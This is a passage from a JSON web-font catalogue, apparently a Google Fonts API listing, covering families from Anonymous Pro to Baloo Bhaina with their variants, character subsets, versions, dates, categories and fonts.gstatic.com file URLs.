Pro","variants":["regular","italic","700","700italic"],"subsets":["cyrillic","greek","latin","latin-ext"],"version":"v14","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/anonymouspro/v14/rP2Bp2a15UIB7Un-bOeISG3pLlw89CH98Ko.ttf","italic":"http://fonts.gstatic.com/s/anonymouspro/v14/rP2fp2a15UIB7Un-bOeISG3pHl428AP44Kqr2Q.ttf","700":"http://fonts.gstatic.com/s/anonymouspro/v14/rP2cp2a15UIB7Un-bOeISG3pFuAT0CnW7KOywKo.ttf","700italic":"http://fonts.gstatic.com/s/anonymouspro/v14/rP2ap2a15UIB7Un-bOeISG3pHl4OTCzc6IG30KqB9Q.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"Antic","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/antic/v12/TuGfUVB8XY5DRaZLodgzydtk.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Antic Didone","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/anticdidone/v9/RWmPoKKX6u8sp8fIWdnDKqDiqYsGBGBzCw.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Antic Slab","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/anticslab/v9/bWt97fPFfRzkCa9Jlp6IWcJWXW5p5Qo.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Anton","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v12","lastModified":"2020-09-10","files":{"regular":"http://fonts.gstatic.com/s/anton/v12/1Ptgg87LROyAm0K08i4gS7lu.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Arapey","variants":["regular","italic"],"subsets":["latin"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/arapey/v9/-W__XJn-UDDA2RC6Z9AcZkIzeg.ttf","italic":"http://fonts.gstatic.com/s/arapey/v9/-W_9XJn-UDDA2RCKZdoYREcjeo0k.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Arbutus","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/arbutus/v10/NaPYcZ7dG_5J3poob9JtryO8fMU.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Arbutus Slab","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/arbutusslab/v9/oY1Z8e7OuLXkJGbXtr5ba7ZVa68dJlaFAQ.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Architects Daughter","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-10","files":{"regular":"http://fonts.gstatic.com/s/architectsdaughter/v11/KtkxAKiDZI_td1Lkx62xHZHDtgO_Y-bvfY5q4szgE-Q.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Archivo","variants":["regular","italic","500","500italic","600","600italic","700","700italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v7","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/archivo/v7/k3kQo8UDI-1M0wlSTd7iL0nAMaM.ttf","italic":"http://fonts.gstatic.com/s/archivo/v7/k3kSo8UDI-1M0wlSfdzoK2vFIaOV8A.ttf","500":"http://fonts.gstatic.com/s/archivo/v7/k3kVo8UDI-1M0wlSdSrLC0HrLaqM6Q4.ttf","500italic":"http://fonts.gstatic.com/s/archivo/v7/k3kXo8UDI-1M0wlSfdzQ30LhKYiJ-Q7m8w.ttf","600":"http://fonts.gstatic.com/s/archivo/v7/k3kVo8UDI-1M0wlSdQbMC0HrLaqM6Q4.ttf","600italic":"http://fonts.gstatic.com/s/archivo/v7/k3kXo8UDI-1M0wlSfdzQ80XhKYiJ-Q7m8w.ttf","700":"http://fonts.gstatic.com/s/archivo/v7/k3kVo8UDI-1M0wlSdWLNC0HrLaqM6Q4.ttf","700italic":"http://fonts.gstatic.com/s/archivo/v7/k3kXo8UDI-1M0wlSfdzQl0ThKYiJ-Q7m8w.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Archivo Black","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/archivoblack/v10/HTxqL289NzCGg4MzN6KJ7eW6OYuP_x7yx3A.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Archivo Narrow","variants":["regular","italic","500","500italic","600","600italic","700","700italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/archivonarrow/v12/tss0ApVBdCYD5Q7hcxTE1ArZ0Yb3g31S2s8p.ttf","italic":"http://fonts.gstatic.com/s/archivonarrow/v12/tss2ApVBdCYD5Q7hcxTE1ArZ0bb1iXlw398pJxk.ttf","500":"http://fonts.gstatic.com/s/archivonarrow/v12/tss3ApVBdCYD5Q7hcxTE1ArZ0b4Dqlla8dMgPgBu.ttf","500italic":"http://fonts.gstatic.com/s/archivonarrow/v12/tssxApVBdCYD5Q7hcxTE1ArZ0bb1sY1Z-9cCOxBu_BM.ttf","600":"http://fonts.gstatic.com/s/archivonarrow/v12/tss3ApVBdCYD5Q7hcxTE1ArZ0b4vrVla8dMgPgBu.ttf","600italic":"http://fonts.gstatic.com/s/archivonarrow/v12/tssxApVBdCYD5Q7hcxTE1ArZ0bb1saFe-9cCOxBu_BM.ttf","700":"http://fonts.gstatic.com/s/archivonarrow/v12/tss3ApVBdCYD5Q7hcxTE1ArZ0b5LrFla8dMgPgBu.ttf","700italic":"http://fonts.gstatic.com/s/archivonarrow/v12/tssxApVBdCYD5Q7hcxTE1ArZ0bb1scVf-9cCOxBu_BM.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Aref Ruqaa","variants":["regular","700"],"subsets":["arabic","latin","latin-ext"],"version":"v12","lastModified":"2020-11-06","files":{"regular":"http://fonts.gstatic.com/s/arefruqaa/v12/WwkbxPW1E165rajQKDulEIAiVNo5xNY.ttf","700":"http://fonts.gstatic.com/s/arefruqaa/v12/WwkYxPW1E165rajQKDulKDwNcNIS2N_7Bdk.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Arima Madurai","variants":["100","200","300","regular","500","700","800","900"],"subsets":["latin","latin-ext","tamil","vietnamese"],"version":"v6","lastModified":"2020-09-02","files":{"100":"http://fonts.gstatic.com/s/arimamadurai/v6/t5t4IRoeKYORG0WNMgnC3seB1V3PqrGCch4Drg.ttf","200":"http://fonts.gstatic.com/s/arimamadurai/v6/t5t7IRoeKYORG0WNMgnC3seB1fHuipusfhcat2c.ttf","300":"http://fonts.gstatic.com/s/arimamadurai/v6/t5t7IRoeKYORG0WNMgnC3seB1ZXtipusfhcat2c.ttf","regular":"http://fonts.gstatic.com/s/arimamadurai/v6/t5tmIRoeKYORG0WNMgnC3seB7TnFrpOHYh4.ttf","500":"http://fonts.gstatic.com/s/arimamadurai/v6/t5t7IRoeKYORG0WNMgnC3seB1c3sipusfhcat2c.ttf","700":"http://fonts.gstatic.com/s/arimamadurai/v6/t5t7IRoeKYORG0WNMgnC3seB1YXqipusfhcat2c.ttf","800":"http://fonts.gstatic.com/s/arimamadurai/v6/t5t7IRoeKYORG0WNMgnC3seB1Znpipusfhcat2c.ttf","900":"http://fonts.gstatic.com/s/arimamadurai/v6/t5t7IRoeKYORG0WNMgnC3seB1b3oipusfhcat2c.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Arimo","variants":["regular","500","600","700","italic","500italic","600italic","700italic"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","hebrew","latin","latin-ext","vietnamese"],"version":"v16","lastModified":"2020-11-20","files":{"regular":"http://fonts.gstatic.com/s/arimo/v16/P5sfzZCDf9_T_3cV7NCUECyoxNk37cxsBxDAVQI4aA.ttf","500":"http://fonts.gstatic.com/s/arimo/v16/P5sfzZCDf9_T_3cV7NCUECyoxNk338xsBxDAVQI4aA.ttf","600":"http://fonts.gstatic.com/s/arimo/v16/P5sfzZCDf9_T_3cV7NCUECyoxNk3M8tsBxDAVQI4aA.ttf","700":"http://fonts.gstatic.com/s/arimo/v16/P5sfzZCDf9_T_3cV7NCUECyoxNk3CstsBxDAVQI4aA.ttf","italic":"http://fonts.gstatic.com/s/arimo/v16/P5sdzZCDf9_T_10c3i9MeUcyat4iJY-ERBrEdwcoaKww.ttf","500italic":"http://fonts.gstatic.com/s/arimo/v16/P5sdzZCDf9_T_10c3i9MeUcyat4iJY-2RBrEdwcoaKww.ttf","600italic":"http://fonts.gstatic.com/s/arimo/v16/P5sdzZCDf9_T_10c3i9MeUcyat4iJY9aQxrEdwcoaKww.ttf","700italic":"http://fonts.gstatic.com/s/arimo/v16/P5sdzZCDf9_T_10c3i9MeUcyat4iJY9jQxrEdwcoaKww.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Arizonia","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/arizonia/v11/neIIzCemt4A5qa7mv6WGHK06UY30.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Armata","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/armata/v12/gokvH63_HV5jQ-E9lD53Q2u_mQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Arsenal","variants":["regular","italic","700","700italic"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v5","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/arsenal/v5/wXKrE3kQtZQ4pF3D11_WAewrhXY.ttf","italic":"http://fonts.gstatic.com/s/arsenal/v5/wXKpE3kQtZQ4pF3D513cBc4ulXYrtA.ttf","700":"http://fonts.gstatic.com/s/arsenal/v5/wXKuE3kQtZQ4pF3D7-P5JeQAmX8yrdk.ttf","700italic":"http://fonts.gstatic.com/s/arsenal/v5/wXKsE3kQtZQ4pF3D513kueEKnV03vdnKjw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Artifika","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/artifika/v11/VEMyRoxzronptCuxu6Wt5jDtreOL.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Arvo","variants":["regular","italic","700","700italic"],"subsets":["latin"],"version":"v14","lastModified":"2020-09-10","files":{"regular":"http://fonts.gstatic.com/s/arvo/v14/tDbD2oWUg0MKmSAa7Lzr7vs.ttf","italic":"http://fonts.gstatic.com/s/arvo/v14/tDbN2oWUg0MKqSIQ6J7u_vvijQ.ttf","700":"http://fonts.gstatic.com/s/arvo/v14/tDbM2oWUg0MKoZw1yLTA8vL7lAE.ttf","700italic":"http://fonts.gstatic.com/s/arvo/v14/tDbO2oWUg0MKqSIoVLHK9tD-hAHkGg.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Arya","variants":["regular","700"],"subsets":["devanagari","latin","latin-ext"],"version":"v6","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/arya/v6/ga6CawNG-HJd9Ub1-beqdFE.ttf","700":"http://fonts.gstatic.com/s/arya/v6/ga6NawNG-HJdzfra3b-BaFg3dRE.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Asap","variants":["regular","italic","500","500italic","600","600italic","700","700italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v13","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/asap/v13/KFOoCniXp96a-zwU4UROGzY.ttf","italic":"http://fonts.gstatic.com/s/asap/v13/KFOmCniXp96ayz4e5WZLCzYlKw.ttf","500":"http://fonts.gstatic.com/s/asap/v13/KFOnCniXp96aw8g9xUxlBz88MsA.ttf","500italic":"http://fonts.gstatic.com/s/asap/v13/KFOlCniXp96ayz4mEU9vAx05IsDqlA.ttf","600":"http://fonts.gstatic.com/s/asap/v13/KFOnCniXp96aw-Q6xUxlBz88MsA.ttf","600italic":"http://fonts.gstatic.com/s/asap/v13/KFOlCniXp96ayz4mPUhvAx05IsDqlA.ttf","700":"http://fonts.gstatic.com/s/asap/v13/KFOnCniXp96aw4A7xUxlBz88MsA.ttf","700italic":"http://fonts.gstatic.com/s/asap/v13/KFOlCniXp96ayz4mWUlvAx05IsDqlA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Asap Condensed","variants":["regular","italic","500","500italic","600","600italic","700","700italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v7","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/asapcondensed/v7/pxidypY1o9NHyXh3WvSbGSggdNeLYk1Mq3ap.ttf","italic":"http://fonts.gstatic.com/s/asapcondensed/v7/pxifypY1o9NHyXh3WvSbGSggdOeJaElurmapvvM.ttf","500":"http://fonts.gstatic.com/s/asapcondensed/v7/pxieypY1o9NHyXh3WvSbGSggdO9_S2lEgGqgp-pO.ttf","500italic":"http://fonts.gstatic.com/s/asapcondensed/v7/pxiYypY1o9NHyXh3WvSbGSggdOeJUL1Him6CovpOkXA.ttf","600":"http://fonts.gstatic.com/s/asapcondensed/v7/pxieypY1o9NHyXh3WvSbGSggdO9TTGlEgGqgp-pO.ttf","600italic":"http://fonts.gstatic.com/s/asapcondensed/v7/pxiYypY1o9NHyXh3WvSbGSggdOeJUJFAim6CovpOkXA.ttf","700":"http://fonts.gstatic.com/s/asapcondensed/v7/pxieypY1o9NHyXh3WvSbGSggdO83TWlEgGqgp-pO.ttf","700italic":"http://fonts.gstatic.com/s/asapcondensed/v7/pxiYypY1o9NHyXh3WvSbGSggdOeJUPVBim6CovpOkXA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Asar","variants":["regular"],"subsets":["devanagari","latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/asar/v8/sZlLdRyI6TBIXkYQDLlTW6E.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Asset","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-15","files":{"regular":"http://fonts.gstatic.com/s/asset/v10/SLXGc1na-mM4cWImRJqExst1.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Assistant","variants":["200","300","regular","500","600","700","800"],"subsets":["hebrew","latin","latin-ext"],"version":"v6","lastModified":"2020-10-22","files":{"200":"http://fonts.gstatic.com/s/assistant/v6/2sDPZGJYnIjSi6H75xkZZE1I0yCmYzzQtmZnEGGf3qGuvM4.ttf","300":"http://fonts.gstatic.com/s/assistant/v6/2sDPZGJYnIjSi6H75xkZZE1I0yCmYzzQtrhnEGGf3qGuvM4.ttf","regular":"http://fonts.gstatic.com/s/assistant/v6/2sDPZGJYnIjSi6H75xkZZE1I0yCmYzzQtuZnEGGf3qGuvM4.ttf","500":"http://fonts.gstatic.com/s/assistant/v6/2sDPZGJYnIjSi6H75xkZZE1I0yCmYzzQttRnEGGf3qGuvM4.ttf","600":"http://fonts.gstatic.com/s/assistant/v6/2sDPZGJYnIjSi6H75xkZZE1I0yCmYzzQtjhgEGGf3qGuvM4.ttf","700":"http://fonts.gstatic.com/s/assistant/v6/2sDPZGJYnIjSi6H75xkZZE1I0yCmYzzQtgFgEGGf3qGuvM4.ttf","800":"http://fonts.gstatic.com/s/assistant/v6/2sDPZGJYnIjSi6H75xkZZE1I0yCmYzzQtmZgEGGf3qGuvM4.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Astloch","variants":["regular","700"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/astloch/v12/TuGRUVJ8QI5GSeUjq9wRzMtkH1Q.ttf","700":"http://fonts.gstatic.com/s/astloch/v12/TuGUUVJ8QI5GSeUjk2A-6MNPA10xLMQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Asul","variants":["regular","700"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/asul/v10/VuJ-dNjKxYr46fMFXK78JIg.ttf","700":"http://fonts.gstatic.com/s/asul/v10/VuJxdNjKxYr40U8qeKbXOIFneRo.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Athiti","variants":["200","300","regular","500","600","700"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v5","lastModified":"2020-07-23","files":{"200":"http://fonts.gstatic.com/s/athiti/v5/pe0sMISdLIZIv1wAxDNyAv2-C99ycg.ttf","300":"http://fonts.gstatic.com/s/athiti/v5/pe0sMISdLIZIv1wAoDByAv2-C99ycg.ttf","regular":"http://fonts.gstatic.com/s/athiti/v5/pe0vMISdLIZIv1w4DBhWCtaiAg.ttf","500":"http://fonts.gstatic.com/s/athiti/v5/pe0sMISdLIZIv1wA-DFyAv2-C99ycg.ttf","600":"http://fonts.gstatic.com/s/athiti/v5/pe0sMISdLIZIv1wA1DZyAv2-C99ycg.ttf","700":"http://fonts.gstatic.com/s/athiti/v5/pe0sMISdLIZIv1wAsDdyAv2-C99ycg.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Atma","variants":["300","regular","500","600","700"],"subsets":["bengali","latin","latin-ext"],"version":"v6","lastModified":"2020-07-23","files":{"300":"http://fonts.gstatic.com/s/atma/v6/uK_z4rqWc-Eoo8JzKjc9PvedRkM.ttf","regular":"http://fonts.gstatic.com/s/atma/v6/uK_84rqWc-Eom25bDj8WIv4.ttf","500":"http://fonts.gstatic.com/s/atma/v6/uK_z4rqWc-Eoo5pyKjc9PvedRkM.ttf","600":"http://fonts.gstatic.com/s/atma/v6/uK_z4rqWc-Eoo7Z1Kjc9PvedRkM.ttf","700":"http://fonts.gstatic.com/s/atma/v6/uK_z4rqWc-Eoo9J0Kjc9PvedRkM.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Atomic Age","variants":["regular"],"subsets":["latin"],"version":"v13","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/atomicage/v13/f0Xz0eug6sdmRFkYZZGL58Ht9a8GYeA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Aubrey","variants":["regular"],"subsets":["latin"],"version":"v13","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/aubrey/v13/q5uGsou7NPBw-p7vugNsCxVEgA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Audiowide","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/audiowide/v9/l7gdbjpo0cum0ckerWCtkQXPExpQBw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Autour One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/autourone/v10/UqyVK80cP25l3fJgbdfbk5lWVscxdKE.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Average","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/average/v9/fC1hPYBHe23MxA7rIeJwVWytTyk.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Average Sans","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/averagesans/v9/1Ptpg8fLXP2dlAXR-HlJJNJPBdqazVoK4A.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Averia Gruesa Libre","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/averiagruesalibre/v9/NGSov4nEGEktOaDRKsY-1dhh8eEtIx3ZUmmJw0SLRA8.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Averia Libre","variants":["300","300italic","regular","italic","700","700italic"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"300":"http://fonts.gstatic.com/s/averialibre/v9/2V0FKIcMGZEnV6xygz7eNjEarovtb07t-pQgTw.ttf","300italic":"http://fonts.gstatic.com/s/averialibre/v9/2V0HKIcMGZEnV6xygz7eNjESAJFhbUTp2JEwT4Sk.ttf","regular":"http://fonts.gstatic.com/s/averialibre/v9/2V0aKIcMGZEnV6xygz7eNjEiAqPJZ2Xx8w.ttf","italic":"http://fonts.gstatic.com/s/averialibre/v9/2V0EKIcMGZEnV6xygz7eNjESAKnNRWDh8405.ttf","700":"http://fonts.gstatic.com/s/averialibre/v9/2V0FKIcMGZEnV6xygz7eNjEavoztb07t-pQgTw.ttf","700italic":"http://fonts.gstatic.com/s/averialibre/v9/2V0HKIcMGZEnV6xygz7eNjESAJFxakTp2JEwT4Sk.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Averia Sans Libre","variants":["300","300italic","regular","italic","700","700italic"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"300":"http://fonts.gstatic.com/s/averiasanslibre/v9/ga6SaxZG_G5OvCf_rt7FH3B6BHLMEd3lMKcQJZP1LmD9.ttf","300italic":"http://fonts.gstatic.com/s/averiasanslibre/v9/ga6caxZG_G5OvCf_rt7FH3B6BHLMEdVLKisSL5fXK3D9qtg.ttf","regular":"http://fonts.gstatic.com/s/averiasanslibre/v9/ga6XaxZG_G5OvCf_rt7FH3B6BHLMEeVJGIMYDo_8.ttf","italic":"http://fonts.gstatic.com/s/averiasanslibre/v9/ga6RaxZG_G5OvCf_rt7FH3B6BHLMEdVLEoc6C5_8N3k.ttf","700":"http://fonts.gstatic.com/s/averiasanslibre/v9/ga6SaxZG_G5OvCf_rt7FH3B6BHLMEd31N6cQJZP1LmD9.ttf","700italic":"http://fonts.gstatic.com/s/averiasanslibre/v9/ga6caxZG_G5OvCf_rt7FH3B6BHLMEdVLKjsVL5fXK3D9qtg.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Averia Serif Libre","variants":["300","300italic","regular","italic","700","700italic"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"300":"http://fonts.gstatic.com/s/averiaseriflibre/v10/neIVzD2ms4wxr6GvjeD0X88SHPyX2xYGCSmqwacqdrKvbQ.ttf","300italic":"http://fonts.gstatic.com/s/averiaseriflibre/v10/neIbzD2ms4wxr6GvjeD0X88SHPyX2xYOpzMmw60uVLe_bXHq.ttf","regular":"http://fonts.gstatic.com/s/averiaseriflibre/v10/neIWzD2ms4wxr6GvjeD0X88SHPyX2xY-pQGOyYw2fw.ttf","italic":"http://fonts.gstatic.com/s/averiaseriflibre/v10/neIUzD2ms4wxr6GvjeD0X88SHPyX2xYOpwuK64kmf6u2.ttf","700":"http://fonts.gstatic.com/s/averiaseriflibre/v10/neIVzD2ms4wxr6GvjeD0X88SHPyX2xYGGS6qwacqdrKvbQ.ttf","700italic":"http://fonts.gstatic.com/s/averiaseriflibre/v10/neIbzD2ms4wxr6GvjeD0X88SHPyX2xYOpzM2xK0uVLe_bXHq.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"B612","variants":["regular","italic","700","700italic"],"subsets":["latin"],"version":"v5","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/b612/v5/3JnySDDxiSz32jm4GDigUXw.ttf","italic":"http://fonts.gstatic.com/s/b612/v5/3Jn8SDDxiSz36juyHBqlQXwdVw.ttf","700":"http://fonts.gstatic.com/s/b612/v5/3Jn9SDDxiSz34oWXPDCLTXUETuE.ttf","700italic":"http://fonts.gstatic.com/s/b612/v5/3Jn_SDDxiSz36juKoDWBSVcBXuFb0Q.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"B612 Mono","variants":["regular","italic","700","700italic"],"subsets":["latin"],"version":"v5","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/b612mono/v5/kmK_Zq85QVWbN1eW6lJl1wTcquRTtg.ttf","italic":"http://fonts.gstatic.com/s/b612mono/v5/kmK5Zq85QVWbN1eW6lJV1Q7YiOFDtqtf.ttf","700":"http://fonts.gstatic.com/s/b612mono/v5/kmK6Zq85QVWbN1eW6lJdayv4os9Pv7JGSg.ttf","700italic":"http://fonts.gstatic.com/s/b612mono/v5/kmKkZq85QVWbN1eW6lJV1TZkp8VLnbdWSg4x.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"Bad Script","variants":["regular"],"subsets":["cyrillic","latin"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/badscript/v9/6NUT8F6PJgbFWQn47_x7lOwuzd1AZtw.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Bahiana","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v5","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/bahiana/v5/uU9PCBUV4YenPWJU7xPb3vyHmlI.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Bahianita","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v3","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/bahianita/v3/yYLr0hTb3vuqqsBUgxWtxTvV2NJPcA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Bai Jamjuree","variants":["200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v4","lastModified":"2020-09-02","files":{"200":"http://fonts.gstatic.com/s/baijamjuree/v4/LDIqapSCOBt_aeQQ7ftydoa0kePuk5A1-yiSgA.ttf","200italic":"http://fonts.gstatic.com/s/baijamjuree/v4/LDIoapSCOBt_aeQQ7ftydoa8W_oGkpox2S2CgOva.ttf","300":"http://fonts.gstatic.com/s/baijamjuree/v4/LDIqapSCOBt_aeQQ7ftydoa09eDuk5A1-yiSgA.ttf","300italic":"http://fonts.gstatic.com/s/baijamjuree/v4/LDIoapSCOBt_aeQQ7ftydoa8W_pikZox2S2CgOva.ttf","regular":"http://fonts.gstatic.com/s/baijamjuree/v4/LDI1apSCOBt_aeQQ7ftydoaMWcjKm7sp8g.ttf","italic":"http://fonts.gstatic.com/s/baijamjuree/v4/LDIrapSCOBt_aeQQ7ftydoa8W8LOub458jGL.ttf","500":"http://fonts.gstatic.com/s/baijamjuree/v4/LDIqapSCOBt_aeQQ7ftydoa0reHuk5A1-yiSgA.ttf","500italic":"http://fonts.gstatic.com/s/baijamjuree/v4/LDIoapSCOBt_aeQQ7ftydoa8W_o6kJox2S2CgOva.ttf","600":"http://fonts.gstatic.com/s/baijamjuree/v4/LDIqapSCOBt_aeQQ7ftydoa0gebuk5A1-yiSgA.ttf","600italic":"http://fonts.gstatic.com/s/baijamjuree/v4/LDIoapSCOBt_aeQQ7ftydoa8W_oWl5ox2S2CgOva.ttf","700":"http://fonts.gstatic.com/s/baijamjuree/v4/LDIqapSCOBt_aeQQ7ftydoa05efuk5A1-yiSgA.ttf","700italic":"http://fonts.gstatic.com/s/baijamjuree/v4/LDIoapSCOBt_aeQQ7ftydoa8W_pylpox2S2CgOva.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Baloo 2","variants":["regular","500","600","700","800"],"subsets":["devanagari","latin","latin-ext","vietnamese"],"version":"v1","lastModified":"2020-03-06","files":{"regular":"http://fonts.gstatic.com/s/baloo2/v1/wXKrE3kTposypRyd11_WAewrhXY.ttf","500":"http://fonts.gstatic.com/s/baloo2/v1/wXKuE3kTposypRyd76v_JeQAmX8yrdk.ttf","600":"http://fonts.gstatic.com/s/baloo2/v1/wXKuE3kTposypRyd74f4JeQAmX8yrdk.ttf","700":"http://fonts.gstatic.com/s/baloo2/v1/wXKuE3kTposypRyd7-P5JeQAmX8yrdk.ttf","800":"http://fonts.gstatic.com/s/baloo2/v1/wXKuE3kTposypRyd7__6JeQAmX8yrdk.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Baloo Bhai 2","variants":["regular","500","600","700","800"],"subsets":["gujarati","latin","latin-ext","vietnamese"],"version":"v1","lastModified":"2020-03-06","files":{"regular":"http://fonts.gstatic.com/s/baloobhai2/v1/sZlDdRSL-z1VEWZ4YNA7Y5I3cdTmiH1gFQ.ttf","500":"http://fonts.gstatic.com/s/baloobhai2/v1/sZlcdRSL-z1VEWZ4YNA7Y5IPhf3CgFZ8HNV3Nw.ttf","600":"http://fonts.gstatic.com/s/baloobhai2/v1/sZlcdRSL-z1VEWZ4YNA7Y5IPqfrCgFZ8HNV3Nw.ttf","700":"http://fonts.gstatic.com/s/baloobhai2/v1/sZlcdRSL-z1VEWZ4YNA7Y5IPzfvCgFZ8HNV3Nw.ttf","800":"http://fonts.gstatic.com/s/baloobhai2/v1/sZlcdRSL-z1VEWZ4YNA7Y5IP0fjCgFZ8HNV3Nw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Baloo Bhaina 